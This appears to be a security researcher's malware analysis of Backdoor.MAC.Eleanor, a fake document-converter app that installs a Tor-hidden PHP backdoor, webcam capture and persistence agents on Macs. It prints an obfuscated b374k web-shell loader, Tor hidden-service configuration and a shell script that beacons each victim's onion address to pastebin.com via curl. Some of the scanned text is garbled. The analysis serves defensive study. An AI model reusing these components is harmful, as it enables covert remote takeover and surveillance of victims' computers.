Backdoor.MAC.Eleanor Grants Attackers Full Access to Mac Systems

#### A. Description:

The application name is EasyDoc Converter.app, and its main functionality should be to convert documents, but it does anything but that.

EasyDoc Conver
Drop files here

Instead, it silently installs a backdoor in the system that gives the attacker full access to the operating system, tofile explorer, shell execution, webcam image and video capture and more. The application is created using Platypus, a tool used for native MAC apps from shell, Perl, Python or Ruby scripts (<u>http://sveinbjorn.org/platypus</u>).

•	🦹 Platypus
	App Name EasyDoc Converter
	Script Type Shell 🔷 /bin/sh Args
	Script Pathary/Application Support/Platypus//EasyDoc Converter.sh + New Reveal Edit Select Script
Gener	ric Application Text Settings ?
ldentifier	org.AllFormatsMedia.EasyDocConverter
Author	Brandon Munga Run in background
Version	1.0         Accepts dropped items         Image: Comparison of the security of the se
Files to copy	y into the application's Resources folder (default working directory for script)
Bundle	rd Files
Estimated fi	inal app size: ~167 KB     Clear     Create App



# C. Running the application

The application looks like a convertor, where you can drop files, but it has no real functionality. It executes following script *"EasyDoc Converter.app/Resources/script"*, according to the settings from AppSettings.plist:

	run	AppSettings	s.plist
$\mathbb{R}   \langle \rangle   \equiv AppSettings.plist \rangle$ No	Selec	tion	
Кеу	·	Туре	Value
▼ Root		Dictionary	(13 items)
Secure		Boolean	NO 🛟
AcceptsText		Boolean	NO 🔶
ScriptInterpreter		String	/bin/sh
OutputType		String	Droplet
▼ DropSuffixes	00	Array	(1 item)
Item 0		String	*
RemainRunningAfterCompletion		Boolean	YES 🛟
Creator		String	Platypus-4.9
AcceptsFiles		Boolean	YES 🛓
Droppable		Boolean	YES 🛓
▼ ScriptArgs		Array	(0 items)
PromptForFileOnLaunch		Boolean	NO 🛓
RequiresAdminPrivileges		Boolean	NO 🗳
▼ InterpreterArgs		Array	(0 items)

D. Installer (EasyDoc Converter.app/Resources/script):

The script acts as an installer, infecting the user' computer. First, it checks if Little Snitch is installed, then checks if the user is not already infected, by verifying the existence of *"/Users/ \$USER/Library/.dropbox*" directory, in the end if all checks passed, creates *"/Users/\$USER/Library/.dropbox*" directory where it installs his components and registers them to system startup:

1. Tor Hidden Service : ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist

2. Web Service(PHP): ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist

3. PasteBin Agent: ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist

## E. Backdoor Components:

#### 1. Tor Hidden Service:

Location: /Users/CURRENTUSER/Library/.dropbox/sync/conn Startup configuration:

🔴 🔴 📄 📄 com	n.getdropbox.drop	box.integritycheck_orig.plist
ः Barnet and the set of the set	box.integritycheck_	orig.plist $ angle$ No Selection
Кеу	Туре	Value
▼ Root	Dictionary	(8 items)
StandardErrorPath	String	/dev/null
Nice	Number	10
AbandonProcessGroup	Boolean	YES 🛟
StandardOutPath	String	/dev/null
ProgramArguments	Array	(5 items)
Item 0	String	/Users/CURRENTUSER/Library/.dropbox/sync/conn
Item 1	String	defaults-torrc
Item 2	String	/Users/CURRENTUSER/Library/.dropbox/sync/data/storage.old
Item 3	String	-f
Item 4	String	/Users/CURRENTUSER/Library/.dropbox/sync/data/storage
RunAtLoad	Boolean	YES 🛟
KeepAlive	Boolean	YES
Label	String	com.getdropbox.dropbox.integritycheck

~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist

This component creates a Tor hidden service (<u>https://www.torproject.org/docs/hidden-services.html.en</u>) which will allow the attacker access to the second backdoor component on the infected machine - Web Service (PHP)-, using a Tor-generated address like: XXXpaceinbeg3yci.onion.

When Tor starts, it will automatically create the HiddenServiceDir specified, and it will create two files there. First, Tor will generate a new public/private key pair for the hidden service, located in a file called "private\_key". The other file Tor creates is called "hostname". This contains a short summary of the public key, whichwill look something like *XXXpaceinbeg3yci.onion*.

Using this hostname, the attacker now controls the machine by using the second backdoor component - **Web Service(PHP)**.

Tor configuration files:

```
# If non-zero, try to write to disk less frequently than we would otherwise.
AvoidDiskWrites 1
# Where to send logging messages. Format is minSeverity[-maxSeverity]
# (stderr|stdout|syslog|file FILENAME).
Log notice stdout
# Bind to this address to listen to connections from SOCKS-speaking
# applications.
CookieAuthentication 0
## fteproxy configuration
ClientTransportPlugin fte exec PluggableTransports/fteproxy.bin --managed
## obfsproxy configuration
ClientTransportPlugin obfs2,obfs3,scramblesuit exec PluggableTransports/obfsproxy.bin
managed
## flash proxy configuration
# Change the second number here (9000) to the number of a port that can
# receive connections from the Internet (the port for which you
# configured port forwarding).
ClientTransportPlugin flashproxy exec PluggableTransports/flashproxy-client --
register :0 :9000
## meek configuration
ClientTransportPlugin meek exec PluggableTransports/meek-client-torbrowser --
PluggableTransports/meek-client
```

/Users/CURRENTUSER/Library/.dropbox/sync/data/storage.old

```
DirReqStatistics 0
GeoIPFile /Users/???/Library/.dropbox/sync/data/list
GeoIPv6File /Users/???/Library/.dropbox/sync/data/list6
HiddenServiceDir /Users/???/Library/.dropbox/sync/hs
HiddenServicePort 80 127.0.0.1:9991
HiddenServicePort 22 127.0.0.1:9992
DataDirectory /Users/???/Library/.dropbox/.rero
SOCKSPort 9060
ControlPort 9061
```

## /Users/CURRENTUSER/Library/.dropbox/sync/data/storage

As seen in the configuration files, this hidden service gives access to two local services, a web service(127.0.0.1:9991) and a SSH service(127.0.0.1:9992). The SSH service was not found on the users machine at the time of this analysis. We believe it was placed there, to be added later.

# 2. Web Service(PHP):

Location: /Users/CURRENTUSER/Library/.dropbox/dbd Startup configuration :

🛑 🕘 📄 📄 com	.getdropbox.dro	opbox.usercontent_orig.plist
⊞   < >   j com.getdropbox.dropbo	x.usercontent_ori	ig.plist $ angle$ No Selection
Кеу	Туре	Value
▼ Root	Dictionary	(8 items)
StandardErrorPath	String	/dev/null
Nice	Number	10
AbandonProcessGroup	Boolean	YES 🛟
StandardOutPath	String	/dev/null
ProgramArguments	Array	(8 items)
Item 0	String	/Users/CURRENTUSER/Library/.dropbox/dbd
Item 1	String	-S
Item 2	String	127.0.0.1:9991
Item 3	String	-t
Item 4 🖸	String	/Users/CURRENTUSER/Library/.dropbox
Item 5	String	-c
Item 6	String	/Users/CURRENTUSER/Library/.dropbox/config
Item 7	String	/Users/CURRENTUSER/Library/.dropbox/rules
RunAtLoad	Boolean	YES
KeepAlive	Boolean	YES
Label	String	com.getdropbox.dropbox.usercontent

~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist

This is the component that provides the attacker control over the infected machine. This service can be accessed from the Tor-generated address described above. The file "dbd" is actually the original "/usr/bin/php" from the system. It listens to port 9991 and it has 3 main components:

## b. Main Control Panel http://XXXpaceinbeg3yci.onion/ego.php

http:///www.einbci.onion/ego.php			
S (i) ===================================		C Q Search	≡

Requires a password that will match the hardcoded hash from the ego.php:

sha1(md5(pass)) = "15bd408e435dc1a1509911cfd8c312f46ed54226". And after the authentication it will display the main Control Panel:

		🔆 b374k 3.2.3 × +					
S		• (i) ceinbeg3yci.onion/ego.php				Search	=
b374	lk 3.	.2.3 👾 / Users / 📖 / Library / .dropbox /					x
Exp	lore	Terminal Eval Convert Database Info Mail Network	Processes				
Ser Tim Dar PHP	ver e @ win 5.4	IP : 5jzpaceinbeg3ycl.onion   Your IP : 127.0.0.1 Server : 03 Jul 2016 12:14:27 osx10.9.shared 13.4.0 Darwin Kernel Version 13.4.0: Sun Aug 17 19:50:11 PDT .30	2014; гоо	t:xnu-2422.115.4~1/	RELEASE_X86_64 x8	86_64	
C		name			owner	perms	modified
C			action	DIR	:staff	drwxr-xr-x	03-Jul-2016 12:08:25
C			action	DIR	:staff	drwx	03-Jul-2016 12:05:13
(		[ .rero ]	action	DIR	:staff	drwx	03-Jul-2016 12:05:19
(		[ sync ]	action	DIR	:staff	drwxr-xr-x	03-Jul-2016 12:05:13
		[ utilities ]	action	DIR	:staff	drwxr-xr-x	03-Jul-2016 12:05:13
		check_hostname	action	730 B	:staff	-rwxr-xr-x	03-Jul-2016 12:05:13
		config	action	67.89 KB	:staff	-rw-rr	03-Jul-2016 12:05:13
(		dbd	action	9.55 MB	:staff	-rwxr-xr-x	03-Jul-2016 12:05:13
(		deamon.php	action	2.06 KB	:staff	-rwxr-xr-x	03-Jul-2016 12:05:13
(		ego.php	action	108.64 KB	:staff	-rwxr-xr-x	03-Jul-2016 12:08:25
(		public.key	action	272 B	:staff	-rw-rr	03-Jul-2016 12:05:13
(		rules	action	133 B	staff	-rw-rr	03-Jul-2016 12:05:13
C		Action	•				
		7 file(s), 3 Folder(s)					ļ

## Backdoor Control Panel

This panel provides the attacker with the following abilities:

- File manager (view, edit, rename, delete, upload, download, archiver, etc)
- Command execution
- Script execution (php, perl, python, ruby, java, c)
- Shell via bind/reverse shell connect
- Simple packet crafter
- Connect to DBMS (mysql, sqlite, pdo)
- Process list/Task manager
- · Send mail with attachment (you can attach local file on server)
- String conversion

```
<?php
```

```
$GLOBALS['pass'] = "15bd408e435dcla1509911cfd8c312f46ed54226"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?
>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("7P1rm+I4sigKf
+9fweSuM1m5qCobDNju6qoZAzb3mzHmMt2nHt9t8A1fMdPz349kGzAkmZXV3Wu9+z379DxTiaVQKCSFQhFSKPTLP1zdLb3rDCd
Najj/16P1yKGpfAucb6YjyI+/1b6UBM8TkvcPysE1HU/xHj6UHgLFswxbMOFvJcr
+So4dKV4Af8pCIIiCr8Dfhq068K81GCmYrQSx4+3gT9dzJMX3Ff/h6fM/vv4CKfnpQomn
+E7oAYDH3/71KGJ4bZdS86Dzq43njWq03dC2FKu3iMQZkvpqRmptuXrQ+/UkJhBui0wUFQ
+m83kH68fbDb9KKqq5QW0JGUbhDhlQutUltqQ70hcLQiAatdbBnmHLujpkYmtQV41Vrc+TBzshHaKDVcvcwdX3PtlSt ....
```

```
<?php $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval",
  "convert", "database", "info", "mail", "network", "processes"); ?><?php
$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/
Oef7tPSSG3JwjZVXy1flZOnc/Lvuk/
KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcL
DN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/
mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/
na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy
+WJUVupTTGtU6XK9H1OSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir
/ezZEeVe0Nm5G1xGjP/3Jeqe/
u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF
+mE3WdzCGbk1r7ojliIpCbc0fNqPW6185gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTc1
+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX
+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v ......
```

ego.php (decoded)

#### c. WebCam Control Panel http://XXXpaceinbeg3yci.onion/utilities/gallery.php

The malware also has the ability to capture images and videos from the users' webcams, using a tool found in "~/Library/.dropbox/utilities/wacaw" (<u>http://webcam-tools.sourceforge.net</u>). This way,the attacker can view the image gallery using http://XXXpaceinbeg3yci.onion/utilities/ gallery.php panel.

Single File PHP Gallery	× +		
S 🕼 - 🗲 🕕 nbeg3yci.onion/	/utilities/gallery.php	C	Q Search
No Images in gallery	No Images in gallery	No Preview for file	No Preview for file
Gallery Name Home	[expl]	nc	wacaw
Description Information Date: Sun 3 Jul 2016 12:43:50 Directories: 1 Images: 0 Files: 2			
Links Direct link to Gallery			
	Home		

**Gallery Panel** 

## d. Agent: http://XXXpaceinbeg3yci.onion/utilities/deamon.php

This agent is used by the malware to get infection information, update and fetch files from the user's computer or execute shell scripts. The *getFile* command can be used to get the images/ videos captured with the wacaw tool using the user' webcam.

The full command list:

- getInfos
- executeShellScript
- getFile
- update



http://XXXpaceinbeg3yci.onion/utilities/deamon.php?methodName=getInfos



## 3. PasteBin Agent

Location: /Users/CURRENTUSER/Library/.dropbox/check\_hostname Startup config:

Кеу	Туре	Value
Root	Dictionary	(8 items)
Nice	Number	10
AbandonProcessGroup	Boolean	YES
StandardOutPath	String	/dev/null
StartInterval	Number	30
ProgramArguments	Array	(1 item)
ltem 0	String	/Users/CURRENTUSER/Library/.dropbox/check_hostname
RunAtLoad	Boolean	YES
StandardErrorPath	String	/dev/null
Label	String	com.getdropbox.dropbox.timegrabber

Every infected machine will have a unique Tor address that the attacker will use to control that machine. All the addresses are stored to <u>pastebin.com</u> using this agent.

```
#1/bin/sh
USER=$(whoami)
if [ -e /Users/$USER/Library/.dropbox/sync/hs/hostname ]; then
HOSTNAME=$(cat /Users/$USER/Library/.dropbox/sync/hs/hostname | cut
-d '.' -f 1 | openssl rsautl -encrypt -pubin -inkey /Users/$USER/
Library/.dropbox/public.key | openssl enc -base64 | sed "s/\+/PLUS/g")
PASTEID=$(curl -sd "api_paste_code=
$HOSTNAME&api_option=paste&api_dev_key=xxx&api_paste_private=1&api_user_
key=xxx" "http://pastebin.com/api/api_post.php" | cut -d "/" -f 4)
CHECK=$(curl -s "http://www.pastebin.com/raw/$PASTEID")
if [ "$CHECK" == "$HOSTNAME" ]; then
launchctl unload /Users/$USER/Library/LaunchAgents/
com.getdropbox.dropbox.timegrabber.plist
fi
```

The Tor addresses are encrypted with a plublic key using RSA and base64, before being uploaded to <u>pastebin.com</u>.

```
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlb6+s3E4E8xlA5+gwbVkOxPe3
XsTVz2qx8TWqF5DvH4nJ4+zqayPUK/IZVZhEVpFbsOKm5SL/+kGLvLjk5k2j/r08
AiXv+hEc2jbCPzt8vdvj5fVwd5PRcMZcaWDp0yERXhQl5q9Mpf3CfMeLUgRQsUlm
vS076b13i30G5ifXIwIDAQAB
-----END PUBLIC KEY----
```

## /Users/CURRENTUSER/Library/.dropbox/public.key

Example of uploading a tor address in pastebin.com:

```
POST http://pastebin.com/api/api_post.php HTTP/1.1
User-Agent: curl/7.30.0
Host: pastebin.com
Accept: */*
Content-Length: 335
Content-Type: application/x-www-form-urlencoded
api_paste_code=hgBdCPLUSr4V/
XOEMGG6RddsbmR3M93LAzdzUhEXvCWwjTS08aRLt1893Yw8LR0pOWg
W56zPLUSECZ1Vs1KI4hlxy60kaPLUS1I96zjnw45RJ318/
mPLUSloaRlBExpe4aPzBGhrPLUSsMY
2925PLUSyNGZJ2tLRHEzBljS0iYPt100ApiId4HCCrp6H0=&api_option=p
aste&api_dev_key=xxx&api_paste_private=1&api_user_key=xxx
```

## pastebin.com/api/api\_post.php

#### F. Statistics

First infection info uploaded to <u>pastebin.com</u> was made on Tue, 19 Apr 2016 20:34:02 GMT. The sample we analyzed uses a <u>plastebin.com</u> user that is limited to 25 uploads to <u>pastebin.com</u>, so we could not deduce the number of infected machines. Maybe different samples use different <u>pastebin.com</u> users, that can upload more than 25 entries. From <u>pastebin.com</u> we managed to find this information about the user:

```
<user>
<user_name>XXXXXXXX</user_name>
<user_format_short>text</user_format_short>
<user_expiration>N</user_expiration>
<user_avatar_url>http://pastebin.com/i/guest.gif</user_avatar_url>
<user_private>0</user_private>
<user_website></user_website>
<user_email>XXXXXXXX/user_email>
<user_location></user_location>
<user_account_type>0</user_account_type>
</user>
```